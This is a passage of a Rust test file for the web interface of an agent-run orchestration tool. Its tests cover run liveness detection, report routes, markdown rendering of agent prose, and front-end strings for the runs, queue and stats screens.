12061 assert!(old["origin"].is_null(), "{old}");
12062
12063 let list = f.get("/api/runs").await.json();
12064 let labels: Vec<_> = list
12065 .as_array()
12066 .unwrap()
12067 .iter()
12068 .map(|r| r["origin_label"].as_str().unwrap().to_owned())
12069 .collect();
12070 assert!(labels.contains(&"chat 4a7b".to_owned()), "{list}");
12071 }
12072
12073 #[tokio::test]
12080 async fn run_detail_reads_a_manual_run_with_a_live_driver_pid_as_live_without_a_daemon() {
12081 let f = Fixture::start().await;
12082 let id = "20260922-090000-cccc";
12083 let mut state = RunState::new(
12084 PathBuf::from("/repo/magi"),
12085 "main".to_owned(),
12086 "0123456789abcdef".to_owned(),
12087 "Review only".to_owned(),
12088 Config::default(),
12089 );
12090 state.id = id.to_owned();
12091 state.status = RunStatus::Reviewing;
12092 state.seat_started("review", "review-1", std::time::Duration::from_secs(120), 0);
12093 state.driver_pid = Some(std::process::id());
12099 state.driver_started_at = Some(
12100 crate::proc::process_started_at(std::process::id())
12101 .expect("this test process's own start time must be queryable"),
12102 );
12103 let dir = f.runs().join(id);
12104 std::fs::create_dir_all(&dir).expect("run dir");
12105 std::fs::write(
12106 dir.join("run.json"),
12107 serde_json::to_string_pretty(&state).expect("serialize run"),
12108 )
12109 .expect("write run.json");
12110
12111 let detail = f.get(&format!("/api/runs/{id}")).await.json();
12112 assert_eq!(detail["live"], "live", "{detail}");
12113 }
12114
12115 #[tokio::test]
12121 async fn run_detail_reads_a_live_pid_as_dead_once_its_start_time_no_longer_matches() {
12122 let f = Fixture::start().await;
12123 let id = "20260922-090100-dddd";
12124 let mut state = RunState::new(
12125 PathBuf::from("/repo/magi"),
12126 "main".to_owned(),
12127 "0123456789abcdef".to_owned(),
12128 "Review only".to_owned(),
12129 Config::default(),
12130 );
12131 state.id = id.to_owned();
12132 state.status = RunStatus::Reviewing;
12133 state.seat_started("review", "review-1", std::time::Duration::from_secs(120), 0);
12134 state.driver_pid = Some(std::process::id());
12139 state.driver_started_at = Some("1".to_owned());
12140 let dir = f.runs().join(id);
12141 std::fs::create_dir_all(&dir).expect("run dir");
12142 std::fs::write(
12143 dir.join("run.json"),
12144 serde_json::to_string_pretty(&state).expect("serialize run"),
12145 )
12146 .expect("write run.json");
12147
12148 let detail = f.get(&format!("/api/runs/{id}")).await.json();
12149 assert_eq!(detail["live"], "dead", "{detail}");
12150 }
12151
12152 #[test]
12156 fn summarize_asks_about_each_pid_once_and_keeps_the_row_meaning() {
12157 let mk = |id: &str, pid: Option<u32>| {
12158 let mut s = RunState::new(
12159 PathBuf::from("/repo/magi"),
12160 "main".to_owned(),
12161 "0123456789abcdef".to_owned(),
12162 "Add a web UI".to_owned(),
12163 Config::default(),
12164 );
12165 s.id = id.to_owned();
12166 s.driver_pid = pid;
12167 s.driver_started_at = Some("1790000000".to_owned());
12168 s
12169 };
12170 let states = vec![
12171 mk("20260902-140502-aaaa", Some(77)),
12172 mk("20260902-140502-bbbb", Some(77)),
12173 mk("20260902-140502-cccc", Some(77)),
12174 mk("20260902-140502-dddd", None),
12175 ];
12176 let open: HashSet<String> = ["20260902-140502-bbbb".to_owned()].into();
12177 let claimed: HashSet<String> = ["20260902-140502-dddd".to_owned()].into();
12178 let sup: HashMap<String, String> = [(
12179 "20260902-140502-aaaa".to_owned(),
12180 "20260902-140502-cccc".to_owned(),
12181 )]
12182 .into();
12183
12184 let status_calls = std::cell::Cell::new(0);
12185 let identity_calls = std::cell::Cell::new(0);
12186 let probe = std::cell::RefCell::new(crate::proc::ProcProbe::new(
12187 |_| {
12188 status_calls.set(status_calls.get() + 1);
12189 Some(true)
12190 },
12191 |_| {
12192 identity_calls.set(identity_calls.get() + 1);
12193 Some("1790000000".to_owned())
12194 },
12195 ));
12196 let rows = summarize(
12197 states,
12198 &open,
12199 &claimed,
12200 &sup,
12201 |p| probe.borrow_mut().status(p),
12202 |p| probe.borrow_mut().started_at(p),
12203 );
12204
12205 assert_eq!(status_calls.get(), 1, "one pid, one status query");
12206 assert_eq!(identity_calls.get(), 1, "one pid, one identity query");
12207 assert_eq!(rows.len(), 4);
12208 assert!(!rows[0].waiting && rows[1].waiting);
12209 assert_eq!(rows[0].live, crate::run::Liveness::Live);
12210 assert_eq!(rows[3].live, crate::run::Liveness::Live, "claim alone");
12211 assert_eq!(rows[0].superseded_by.as_deref(), Some("cccc"));
12212 assert_eq!(rows[1].superseded_by, None);
12213 }
12214
12215 #[test]
12216 fn run_list_exposes_a_confirmed_dead_driver_for_stale_presentation() {
12217 let mut state = RunState::new(
12218 PathBuf::from("/repo/magi"),
12219 "main".to_owned(),
12220 "0123456789abcdef".to_owned(),
12221 "Review only".to_owned(),
12222 Config::default(),
12223 );
12224 state.id = "20260922-090200-dead".to_owned();
12225 state.status = RunStatus::Reviewing;
12226 let row = serde_json::to_value(RunSummary::of(&state, false, crate::run::Liveness::Dead))
12227 .expect("serialize list row");
12228 assert_eq!(row["status"], "reviewing");
12229 assert_eq!(row["live"], "dead", "{row}");
12230 assert!(!row["done"].as_bool().unwrap());
12231 }
12232
12233 #[tokio::test]
12234 async fn the_run_list_is_newest_first_and_honours_a_limit() {
12235 let f = Fixture::start().await;
12236 for id in [
12237 "20260902-140501-aaaa",
12238 "20260902-140502-bbbb",
12239 "20260902-140503-cccc",
12240 ] {
12241 write_run(&f.runs(), id, RunStatus::Merged);
12242 }
12243
12244 let all = f.get("/api/runs").await.json();
12245 let capped = f.get("/api/runs?limit=2").await.json();
12246
12247 assert_eq!(all[0]["id"], "20260902-140503-cccc");
12248 assert_eq!(all.as_array().map(Vec::len), Some(3));
12249 assert_eq!(capped.as_array().map(Vec::len), Some(2));
12250 assert_eq!(capped[0]["id"], "20260902-140503-cccc");
12251 }
12252
12253 #[tokio::test]
12254 async fn the_report_route_serves_the_terminal_report_as_plain_text() {
12255 let f = Fixture::start().await;
12256 write_run(&f.runs(), "20260902-140501-a1b2", RunStatus::Blocked);
12257
12258 let res = f.get("/api/runs/20260902-140501-a1b2/report").await;
12259
12260 assert_eq!(res.status, 200);
12261 assert!(
12262 res.headers
12263 .contains("content-type: text/plain; charset=utf-8"),
12264 "a browser must render it, not download it: {}",
12265 res.headers
12266 );
12267 assert!(
12271 res.body.contains("20260902-140501-a1b2"),
12272 "the report is about the run that was asked for: {}",
12273 res.body
12274 );
12275 }
12276
12277 #[tokio::test]
12278 async fn the_report_json_route_serves_sections_and_never_hides_an_unreadable_run() {
12279 crate::run::pin_test_home();
12281 let f = Fixture::start().await;
12282 let id = "20260902-140501-a1b2";
12283 write_run(&f.runs(), id, RunStatus::Stalled);
12284 let path = f.runs().join(id).join("run.json");
12287 let mut v: serde_json::Value =
12288 serde_json::from_str(&std::fs::read_to_string(&path).unwrap()).unwrap();
12289 v["tally"] = serde_json::json!({
12290 "first_choice": {"A": 1}, "borda": {"A": 2}, "winner": "A",
12291 "unanimous_initial": true, "deliberated": false, "changed_votes": 0,
12292 "unanimous_final": true, "judges": 3, "present": 1, "quorum": 2,
12293 "met_quorum": false, "rankings": 1
12294 });
12295 v["reviews"] = serde_json::json!([{
12296 "round": 1, "head": "abcdef0123", "answered": 1, "expected": 1, "blocking": 1,
12297 "e2e_deferred": true,
12298 "reviews": [{"reviewer": 1, "agent": "a", "findings": [
12299 {"id": "R1-1-1", "severity": "major", "title": "t", "file": "src/a.rs", "line": 3}
12300 ]}]
12301 }]);
12302 std::fs::write(&path, v.to_string()).unwrap();
12303 write_run(&f.runs(), "20260902-140502-dead", RunStatus::Blocked);
12304 std::fs::write(
12305 f.runs().join("20260902-140502-dead").join("run.json"),
12306 "{not json",
12307 )
12308 .unwrap();
12309
12310 let res = f.get(&format!("/api/runs/{id}/report.json")).await;
12311
12312 assert_eq!(res.status, 200, "{}", res.body);
12313 assert!(res.headers.contains("content-type: application/json"));
12314 let j = res.json();
12315 assert_eq!(j["schema"], 1);
12316 assert_eq!(j["header"]["id"], id);
12317 assert_eq!(j["header"]["tone"], "warn", "a stalled run is never ok");
12318 let kinds: Vec<&str> = j["sections"]
12319 .as_array()
12320 .unwrap()
12321 .iter()
12322 .map(|s| s["kind"].as_str().unwrap())
12323 .collect();
12324 assert_eq!(kinds, ["candidates", "tally", "review"]);
12325 let tally = &j["sections"][1]["tally"];
12326 assert_eq!(
12327 (tally["decided"].clone(), tally["provisional"].clone()),
12328 (false.into(), true.into())
12329 );
12330 let round = &j["sections"][2]["rounds"][0];
12331 assert_eq!(round["e2e"]["state"], "deferred");
12332 assert_eq!(round["findings"][0]["severity"], "major");
12333 assert_eq!(round["findings"][0]["blocking"], true);
12334 assert_eq!(round["findings"][0]["state"], "open");
12335
12336 assert_eq!(f.get(&format!("/api/runs/{id}/report")).await.status, 200);
12338
12339 let bad = f.get("/api/runs/20260902-140502-dead/report.json").await;
12341 assert_ne!(bad.status, 200, "{}", bad.body);
12342 assert_eq!(
12343 bad.status,
12344 f.get("/api/runs/20260902-140502-dead/report").await.status
12345 );
12346 assert_eq!(f.get("/api/health").await.json()["runs_unreadable"], 1);
12347 assert_eq!(
12348 f.get("/api/runs/20260902-999999-ffff/report.json")
12349 .await
12350 .status,
12351 404
12352 );
12353 }
12354
12355 #[tokio::test]
12356 async fn the_front_end_is_served_from_the_binary_with_types_a_phone_renders() {
12357 let f = Fixture::start().await;
12358
12359 let html = f.get("/").await;
12360 let css = f.get("/app.css").await;
12361 let js = f.get("/app.js").await;
12362
12363 assert_eq!((html.status, css.status, js.status), (200, 200, 200));
12364 assert!(
12365 html.headers
12366 .contains("content-type: text/html; charset=utf-8")
12367 );
12368 assert!(css.headers.contains("content-type: text/css"));
12369 assert!(js.headers.contains("content-type: text/javascript"));
12370 assert_eq!(html.body, INDEX_HTML, "compiled in, never read from disk");
12371 }
12372
12373 #[test]
12374 fn a_land_with_no_fix_rounds_says_so_instead_of_an_empty_rail() {
12375 let body = |name: &str| {
12376 let at = APP_JS
12377 .find(name)
12378 .unwrap_or_else(|| panic!("{name} missing"));
12379 &APP_JS[at..at + 2500.min(APP_JS.len() - at)]
12380 };
12381 assert!(body("function roundRail").contains("if (round <= 0) return null;"));
12382 let note = body("function landRoundNote");
12383 assert!(note.contains("No fix rounds needed (0 of ${rounds} used)."));
12384 assert!(note.contains("Land round ${round}"));
12385 let land = body("function renderLand");
12386 let note_at = land
12387 .find("landRoundNote(pr)")
12388 .expect("renderLand uses the note");
12389 assert!(
12390 note_at
12391 < land
12392 .find("roundRail(pr)")
12393 .expect("renderLand uses the rail")
12394 );
12395 }
12396
12397 #[test]
12398 fn the_runs_page_redesign_keeps_its_guards() {
12399 let body = |name: &str| {
12400 let at = APP_JS
12401 .find(name)
12402 .unwrap_or_else(|| panic!("{name} missing"));
12403 &APP_JS[at..at + 2500.min(APP_JS.len() - at)]
12404 };
12405 let land = body("function renderLand");
12407 let land = &land[..land.find("function followupList").unwrap_or(land.len())];
12408 assert!(
12409 !land.contains("box.append("),
12410 "renderLand must use append()"
12411 );
12412 assert!(land.contains("append(box, ["));
12413 assert!(body("function parseRoute").contains("RUN_TABS.includes(parts[2])"));
12415 assert!(
12416 body("function applyRoute")
12417 .contains("route.name !== state.route.name || route.id !== state.route.id")
12418 );
12419 assert!(!APP_JS.contains("adviseConvergeDiagram"));
12421 assert!(!INDEX_HTML.contains("advise-converge"));
12422 assert!(INDEX_HTML.contains("id=\"advise-strip\""));
12423 assert!(APP_JS.contains("provisional"));
12424 for id in [
12425 "run-tab-overview",
12426 "run-tab-timeline",
12427 "run-tab-report",
12428 "run-report",
12429 "runs-scope",
12430 ] {
12431 assert!(INDEX_HTML.contains(&format!("id=\"{id}\"")), "{id}");
12432 }
12433 assert!(!INDEX_HTML.contains("runs-tree"));
12434 assert!(!INDEX_HTML.contains("run-raw-panel"));
12435 assert!(APP_JS.contains("resume"));
12437 assert!(APP_JS.contains("unreadable"));
12439 }
12440
12441 #[test]
12442 fn the_unreadable_banner_is_dismissible_per_count_and_the_count_stays() {
12443 assert!(APP_JS.contains("magi-stats-unreadable-dismissed"));
12444 assert!(APP_JS.contains("s.runs_unreadable > 0 && s.runs_unreadable !== dismissed"));
12445 assert!(APP_JS.contains("setText(\n $(\"stats-unreadable-text\")"));
12446 assert!(INDEX_HTML.contains("id=\"stats-unreadable-close\""));
12447 assert!(INDEX_HTML.contains("aria-label=\"Dismiss unreadable-runs warning\""));
12448 assert!(APP_JS.contains("unreadable` : null"));
12450 }
12451
12452 #[test]
12453 fn the_run_detail_payload_says_whether_the_run_is_done() {
12454 for (status, done) in [
12456 (RunStatus::Superseded, true),
12457 (RunStatus::Blocked, true),
12458 (RunStatus::Landing, false),
12459 ] {
12460 let mut state = RunState::new(
12461 std::path::PathBuf::from("/repo"),
12462 "main".to_owned(),
12463 "abc".to_owned(),
12464 "x".to_owned(),
12465 crate::config::Config::default(),
12466 );
12467 state.status = status;
12468 let v = serde_json::to_value(RunDetailView::of(
12469 state,
12470 crate::run::Liveness::Unknown,
12471 None,
12472 None,
12473 None,
12474 ))
12475 .unwrap();
12476 assert_eq!(v["done"], done, "{status:?}");
12477 }
12478 }
12479
12480 fn has_strong(nodes: &[md::Node]) -> bool {
12482 serde_json::to_string(nodes).unwrap().contains("strong")
12483 }
12484
12485 #[test]
12486 fn the_run_detail_payload_carries_markdown_for_agent_prose() {
12487 let mut state = RunState::new(
12488 std::path::PathBuf::from("/repo"),
12489 "main".to_owned(),
12490 "abc".to_owned(),
12491 "x".to_owned(),
12492 crate::config::Config::default(),
12493 );
12494 let proposal = |approach: &str| {
12495 serde_json::json!({
12496 "approach": approach, "key_tradeoff": "t", "why_not_naive": "w",
12497 })
12498 };
12499 state.advice = Some(
12500 serde_json::from_value(serde_json::json!({
12501 "records": [
12502 {"seat": "advisor-1", "agent": "a", "duration_ms": 1,
12503 "proposal": proposal("do **this**")},
12504 {"seat": "advisor-2", "agent": "b", "duration_ms": 1, "error": "no"},
12505 ],
12506 "synthesis": "- one\n- **two**\n\n`code`",
12507 }))
12508 .unwrap(),
12509 );
12510 state.candidates = serde_json::from_value(serde_json::json!([
12511 {"index": 0, "label": "A", "agent": "a", "branch": "b", "worktree": "/w",
12512 "summary": "did **it**"},
12513 {"index": 1, "label": "B", "agent": "a", "branch": "b", "worktree": "/w"},
12514 ]))
12515 .unwrap();
12516 state.reviews = serde_json::from_value(serde_json::json!([{
12519 "round": 1, "head": "h",
12520 "reviews": [{
12521 "reviewer": 1, "agent": "a", "summary": "sum **mary**",
12522 "findings": [
12523 {"severity": "nit", "title": "t1", "detail": "plain nit"},
12524 {"severity": "blocker", "title": "t2", "detail": "bad **blocker**"},
12525 ],
12526 }],
12527 "reconsideration": [{"reviewer": 1, "agent": "a", "reason": "because **so**"}],
12528 "fix": {"agent": "a", "notes": "fixed **it**",
12529 "rejected": [{"id": "R1-1-1", "why": "no **way**"}]},
12530 }, {"round": 2, "head": "h2", "reviews": []}]))
12531 .unwrap();
12532
12533 let v = serde_json::to_value(RunDetailView::of(
12534 state,
12535 crate::run::Liveness::Unknown,
12536 None,
12537 None,
12538 None,
12539 ))
12540 .unwrap();
12541
12542 let strong = |p: &str| {
12543 let n = v.pointer(p).unwrap_or_else(|| panic!("missing {p}"));
12544 assert!(n.to_string().contains("strong"), "{p}: {n}");
12545 };
12546 strong("/advice_md/synthesis");
12547 assert!(v["advice_md"]["synthesis"].to_string().contains("code"));
12548 assert!(v["advice_md"]["synthesis"].to_string().contains("list"));
12549 strong("/advice_md/approaches/0");
12550 assert_eq!(v["advice_md"]["approaches"][1], serde_json::json!([]));
12551 strong("/candidate_summaries_md/0");
12552 assert_eq!(v["candidate_summaries_md"][1], serde_json::json!([]));
12553 strong("/reviews_md/0/reviewers/0/summary");
12554 let f = &v["reviews_md"][0]["reviewers"][0]["findings"];
12555 assert!(!f[0].to_string().contains("strong"), "recorded order kept");
12556 assert!(f[1].to_string().contains("strong"));
12557 strong("/reviews_md/0/reconsideration/0");
12558 strong("/reviews_md/0/fix/notes");
12559 strong("/reviews_md/0/fix/rejected/0");
12560 assert_eq!(v["reviews_md"][1]["fix"], serde_json::Value::Null);
12561 assert_eq!(v["reviews_md"][1]["reviewers"], serde_json::json!([]));
12562 assert_eq!(v["candidates"][0]["summary"], "did **it**");
12564 assert!(has_strong(&md::to_nodes("**x**", &md::ImageBase::None)));
12565 }
12566
12567 #[test]
12568 fn a_run_without_advice_has_no_advice_md() {
12569 let state = RunState::new(
12570 std::path::PathBuf::from("/repo"),
12571 "main".to_owned(),
12572 "abc".to_owned(),
12573 "x".to_owned(),
12574 crate::config::Config::default(),
12575 );
12576 let p = run_prose_md(&state);
12577 assert!(p.advice_md.is_none());
12578 assert!(p.candidate_summaries_md.is_empty() && p.reviews_md.is_empty());
12579 }
12580
12581 #[test]
12582 fn a_question_view_carries_markdown_for_each_thread_turn() {
12583 let home = TempDir::new().unwrap();
12584 let store = ask::Questions::at(home.path().join("questions"));
12585 let mut q = Question::new(
12586 "run".to_owned(),
12587 "implement".to_owned(),
12588 "impl-A".to_owned(),
12589 "which?".to_owned(),
12590 String::new(),
12591 Vec::new(),
12592 );
12593 q.say("plain words").unwrap();
12594 q.reply("use **this**", Vec::new()).unwrap();
12595 let v = serde_json::to_value(QuestionView::of(q, &store, false)).unwrap();
12596 let bodies = &v["thread_bodies_md"];
12597 assert_eq!(bodies.as_array().unwrap().len(), 2);
12598 assert!(!bodies[0].to_string().contains("strong"));
12599 assert!(bodies[1].to_string().contains("strong"));
12600 }
12601
12602 #[test]
12603 fn a_question_view_carries_each_turns_deputy_note_as_markdown() {
12604 let home = TempDir::new().unwrap();
12605 let store = ask::Questions::at(home.path().join("questions"));
12606 let mut q = Question::new(
12607 "run".to_owned(),
12608 "conduct".to_owned(),
12609 "conduct".to_owned(),
12610 "which?".to_owned(),
12611 String::new(),
12612 Vec::new(),
12613 );
12614 q.say("plain words").unwrap();
12615 q.thread.push(ask::Turn {
12616 who: ask::Who::Agent,
12617 body: "Settled as `merge`".to_owned(),
12618 at: jiff::Timestamp::now(),
12619 note: Some("filed `abc123` _Fix [R1-1]_ (held; `magi task release abc123`)".to_owned()),
12620 });
12621 let v = serde_json::to_value(QuestionView::of(q, &store, false)).unwrap();
12622 let notes = &v["thread_notes_md"];
12623 assert_eq!(notes.as_array().unwrap().len(), 2);
12624 assert!(notes[0].is_null());
12625 let text = notes[1].to_string();
12626 assert!(text.contains("abc123") && text.contains("R1-1"), "{text}");
12627 assert!(APP_JS.contains("ask-turn-note"));
12628 }
12629
12630 #[test]
12631 fn a_finished_run_with_a_stale_open_pr_is_not_painted_as_landing() {
12632 assert!(APP_JS.contains("function landView(run, raw) {"));
12636 assert!(
12637 APP_JS.contains(
12638 "if (run.done && raw.state === \"open\") return { ...raw, stale: true };"
12639 )
12640 );
12641 assert!(APP_JS.contains("const pr = landView(run, raw);"));
12642 assert!(APP_JS.contains("pr.stale ? \"last seen open\""));
12643 assert!(APP_JS.contains("pr.stale ? null : checksChip(pr)"));
12644 assert!(APP_JS.contains("pr.state !== \"open\" || Boolean(pr.stale)"));
12645 }
12646
12647 #[test]
12648 fn live_runs_are_never_hidden_or_folded_as_superseded() {
12649 assert!(APP_JS.contains("function isLiveAttempt(run) {\n return !run.done;"));
12650 assert!(APP_JS.contains("if (isLiveAttempt(run)) return false;"));
12651 assert!(APP_JS.contains("(!isLiveAttempt(run) && run.superseded_by"));
12652 assert!(APP_JS.contains("kids.filter(matchesRunState).length"));
12653 }
12654
12655 #[test]
12656 fn review_rounds_label_a_distinct_verified_head() {
12657 assert!(APP_JS.contains("round.verified_head"));
12658 assert!(APP_JS.contains("verified HEAD"));
12659 assert!(APP_JS.contains("verified ${String(round.verified_head).slice(0, 7)}"));
12660 }
12661
12662 #[test]
12663 fn queue_ui_presents_blocked_dependencies_and_resolved_questions() {
12664 assert!(APP_JS.contains("blocked: { glyph:"));
12668 assert!(APP_JS.contains("Blocked. Waiting on another task or question to resolve."));
12669
12670 assert!(APP_JS.contains("function classifyBlockedBy(blockedBy, tasksById, questionsById)"));
12674 assert!(
12675 APP_JS.contains(
12676 "if (parts.length) noteText = `${noteText} Waiting on ${parts.join(\" and \")}.`;"
12677 ),
12678 "the note line must name what a blocked task is waiting on, not just that it is blocked"
12679 );
12680 assert!(APP_JS.contains("if (status === \"blocked\") {"));
12684
12685 assert!(APP_JS.contains("function depNode(id, byId, questionNodes)"));
12689 assert!(APP_JS.contains("questionNodes.set(dep, questionsById.get(dep));"));
12690 assert!(
12691 APP_JS.contains("location.hash = \"#/questions\";"),
12692 "a question node must jump to the Questions screen, not pretend to be a task"
12693 );
12694
12695 assert!(APP_JS.contains("Resolved questions"));
12698 assert!(APP_JS.contains("r.answersList.append("));
12699 assert!(APP_CSS.contains(".task-answers"));
12700 {
12701 let start = APP_JS
12702 .find("function updateTalkTaskRow")
12703 .expect("updateTalkTaskRow");
12704 let body = &APP_JS[start..];
12705 let body = &body[..body.find("\n}\n").expect("updateTalkTaskRow ends")];
12706 assert!(
12707 body.contains(
12708 "setAttr(r.link, \"href\", `#/tasks/${encodeURIComponent(task.id)}`)"
12709 ),
12710 "a chat-filed task row must link to the task page"
12711 );
12712 assert!(
12713 !body.contains("#/runs/") && !body.contains("#/queue/"),
12714 "the row must not branch to a run or the queue card"
12715 );
12716 assert!(APP_CSS.contains(".talk-task-link"));
12717 }
12718 }
12719
12720 #[test]
12721 fn a_task_notification_links_to_the_task_page() {
12722 let start = APP_JS
12724 .find("function noticeLink(")
12725 .expect("noticeLink exists");
12726 let body = &APP_JS[start..];
12727 let body = &body[..body.find("\n}\n").expect("noticeLink ends")];
12728 assert!(
12729 body.contains("href: `#/tasks/${encodeURIComponent(link.id)}`"),
12730 "a task notice's link must target the task page"
12731 );
12732 assert!(
12733 !body.contains("#/queue/"),
12734 "regression: the task link must not go back to the Backlog route"
12735 );
12736 assert!(
12737 APP_JS.contains(
12738 "if (parts[0] === \"tasks\" && parts[1]) return { name: \"task\", id: decodeURIComponent(parts[1]) };"
12739 ),
12740 "`#/tasks/<id>` must parse into the task route"
12741 );
12742
12743 assert!(
12745 APP_JS.contains(
12746 "if (parts[0] === \"queue\" && parts[1]) return { name: \"queue\", id: decodeURIComponent(parts[1]) };"
12747 ),
12748 "`#/queue/<id>` must parse into a route carrying that id"
12749 );
12750
12751 assert!(APP_JS.contains("state.queueFocus = route.id;"));
12755 assert!(APP_JS.contains("function consumeQueueFocus()"));
12756 assert!(APP_JS.contains("jumpToTask(id)"));
12757 }
12758
12759 #[test]
12762 fn chat_rows_put_the_title_alone_on_the_first_line() {
12763 assert!(APP_CSS.contains("#talks-list .card-title {\n grid-row: 1; grid-column: 1 / -1;"));
12764 assert!(APP_CSS.contains(
12765 "display: block; white-space: nowrap; overflow: hidden; text-overflow: ellipsis;"
12766 ));
12767 assert!(APP_CSS.contains("#talks-list .card-when { grid-row: 2;"));
12768 assert!(APP_JS.contains("class: \"badge talk-unread\""));
12769 }
12770
12771 #[test]
12772 fn run_rows_put_the_title_alone_on_the_first_line() {
12773 assert!(
12774 APP_CSS.contains(
12775 ".cards .card.run-card .card-title {\n grid-row: 1; grid-column: 1 / -1;"
12776 )
12777 );
12778 assert!(APP_CSS.contains(".cards .card.run-card .card-when { grid-row: 2;"));
12779 assert!(APP_JS.contains("class: \"card run-card\""));
12780 assert!(APP_JS.contains("class: \"repo run-id\""));
12781 }
12782
12783 #[test]
12787 fn wide_screens_show_list_and_preview_side_by_side() {
12788 assert!(APP_JS.contains("const SPLIT_QUERY = \"(min-width: 1080px)\";"));
12790 assert!(APP_JS.contains("window.matchMedia(SPLIT_QUERY)"));
12791 assert!(APP_CSS.contains("main[data-split]"));
12792 assert!(APP_CSS.contains("body[data-split]"));
12793
12794 assert!(APP_JS.contains("function splitPanes(route, wide) {\n if (!wide) return null;"));
12796 assert!(APP_JS.contains("case \"run\": return { list: \"runs\", detail: \"run\" };"));
12797 assert!(APP_JS.contains("case \"task\": return { list: \"queue\", detail: \"task\" };"));
12798 assert!(APP_JS.contains("case \"talk\": return { list: \"talks\", detail: \"talk\" };"));
12799 assert!(INDEX_HTML.contains("id=\"split-empty\""));
12800
12801 assert!(APP_JS.contains("function markSelected() {"));
12803 assert!(APP_JS.contains("\"aria-current\", id && card.dataset[key] === id"));
12804 assert!(APP_CSS.contains(".card[aria-current=\"true\"]"));
12805 assert!(
12807 APP_CSS.contains(
12808 "display: flex; flex-direction: row; flex-wrap: wrap; align-items: center;"
12809 )
12810 );
12811
12812 assert!(APP_CSS.contains("height: 100dvh; padding-bottom: 0; overflow: hidden;"));
12814 assert!(APP_CSS.contains("grid-column: 1; grid-row: 1; min-height: 0; overflow: auto;"));
12815 assert!(APP_CSS.contains("grid-column: 2; grid-row: 1; min-height: 0; overflow: auto;"));
12816 assert!(!APP_JS.contains("if (changed) window.scrollTo({ top: 0 });"));
12817
12818 assert!(APP_JS.contains("if (state.detail.id !== id) return;"));
12822 assert!(APP_JS.contains("if (state.taskDetail.id !== id) return;"));
12823 assert!(APP_JS.contains("if (state.talkDetail.id !== id) return;"));
12824 assert!(APP_JS.contains("const relayout = () => applyRoute();"));
12825
12826 assert!(APP_JS.contains("sandbox: \"\""));
12828 assert!(!APP_JS.contains("sandbox: \"allow"));
12829 }
12830
12831 #[test]
12832 fn consuming_a_queue_focus_survives_clearing_a_stale_backlog_search() {
12833 assert!(
12842 APP_JS.contains(
12843 " }\n if (state.queueSearch.trim() !== \"\") {\n state.queueSearch = \"\";"
12844 ),
12845 "the search-clearing branch must run before state.queueFocus is cleared, or the \
12846 recursive renderQueue() call has nothing left to jump to"
12847 );
12848 assert!(
12849 APP_JS.contains("if (jumpToTask(id)) state.queueFocus = null;"),
12850 "state.queueFocus must be cleared only once the jump has landed, so a card that \
12851 arrives later still gets it"
12852 );
12853 assert!(APP_JS.contains("state.queueFocusMissing = missing ? id : null;"));
12854 assert!(APP_JS.contains("is not in the current Backlog."));
12855 assert!(APP_JS.contains("li.card[data-task-id=\""));
12856 assert!(APP_JS.contains("setAttr(r.card, \"data-task-id\", task.id);"));
12857 assert!(APP_JS.contains("`#/queue/${encodeURIComponent(task.id)}`"));
12858 assert!(APP_CSS.contains(".card-permalink"));
12859 assert!(APP_CSS.contains(".queue-focus-status"));
12860 assert!(APP_JS.contains("const section = route.name === \"run\" ? \"runs\""));
12861 }
12862
12863 #[test]
12864 fn a_notification_card_navigates_from_anywhere_on_it_not_just_its_link_text() {
12865 assert!(
12873 APP_JS.contains(
12874 "onclick: link ? (event) => { if (!event.target.closest(\"a, button\")) link.click(); } : null"
12875 ),
12876 "the notice card itself must forward a tap outside its link/buttons to the link's own click"
12877 );
12878 }
12879
12880 #[test]
12881 fn review_rounds_tell_a_stale_verification_and_a_resource_block_apart_from_a_real_result() {
12882 assert!(
12883 APP_JS.contains("round.verified_head !== round.head"),
12884 "a round that verified an earlier commit must be visibly distinct from one that \
12885 verified the head reviewers are looking at now"
12886 );
12887 assert!(
12888 APP_JS.contains("round.verified_at"),
12889 "when a check ran must be on the wire, not just which commit"
12890 );
12891 assert!(
12892 APP_JS.contains("resource_blocked"),
12893 "a command magi never got to run (shared build cache contention) must not render \
12894 the same as a command that ran and failed"
12895 );
12896 }
12897
12898 #[test]
12899 fn a_stats_kpi_tile_navigates_to_the_runs_view_pre_filtered_to_its_own_status() {
12900 assert!(
12908 APP_JS.contains("onClick: () => openRunsFiltered(status)"),
12909 "every KPI tile built through statusTile() must route its click through \
12910 openRunsFiltered, the single place that sets the Runs filter"
12911 );
12912 for (label, status) in [
12913 ("Merged", "merged"),
12914 ("Ready", "ready"),
12915 ("Blocked", "blocked"),
12916 ("Stalled", "stalled"),
12917 ] {
12918 let call = format!("statusTile(\"{label}\", t.{status}, ");
12919 assert!(
12920 APP_JS.contains(&call),
12921 "expected the {label} KPI tile built via {call}..."
12922 );
12923 assert!(
12924 APP_JS.contains(&format!("status === \"{status}\"")),
12925 "\"{status}\" must be a real RunStatus literal runSection()/isStale() already \
12926 compare a run against, not one invented only for the stats tile"
12927 );
12928 }
12929 assert!(
12930 APP_JS.contains("function openRunsFiltered(status)"),
12931 "openRunsFiltered must exist as the single place a stats tile sets the Runs filter"
12932 );
12933 assert!(
12934 APP_JS.contains(
12935 "if (status && !statusInBucket(String(run.status || \"\"), status)) return false;"
12936 ),
12937 "matchesFilter must gate on the statuses of the bucket a KPI tile named"
12938 );
12939 assert!(
12947 APP_JS.contains(" location.hash = \"#runs\";\n applyRoute();\n renderRuns();\n}"),
12948 "openRunsFiltered must explicitly re-render the Runs list, not rely on a \
12949 hashchange event that may never fire"
12950 );
12951 }
12952
12953 #[test]
12954 fn selecting_a_run_state_chip_drops_an_incompatible_status_filter() {
12955 assert!(APP_JS.contains("function statusCompatibleWithStateFilter(status, filterKey)"));
12961 assert!(
12962 APP_JS.contains(
12963 " if (state.runsFilter.status && !statusCompatibleWithStateFilter(state.runsFilter.status, key)) {\n state.runsFilter = { ...state.runsFilter, status: null };\n }"
12964 ),
12965 "selectRunStateFilter must clear an incompatible status filter, mirroring its own \
12966 guard for an incompatible tree section"
12967 );
12968 }
12969
12970 #[test]
12971 fn every_stats_queue_tile_names_a_real_queue_section() {
12972 assert!(
12978 APP_JS.contains("onClick: () => openQueueSectionFocus(sectionKey)"),
12979 "every queue tile built through sectionTile() must route its click through \
12980 openQueueSectionFocus"
12981 );
12982 for key in ["upnext", "running", "done", "held", "blocked"] {
12983 assert!(
12984 APP_JS.contains(&format!("{{ key: \"{key}\",")),
12985 "QUEUE_SECTIONS must define a \"{key}\" section for a stats tile to reveal"
12986 );
12987 }
12988 for line in [
12992 "sectionTile(\"Queued\", q.queued, \"blue\", \"upnext\"),",
12993 "sectionTile(\"Running\", q.running, \"blue\", \"running\"),",
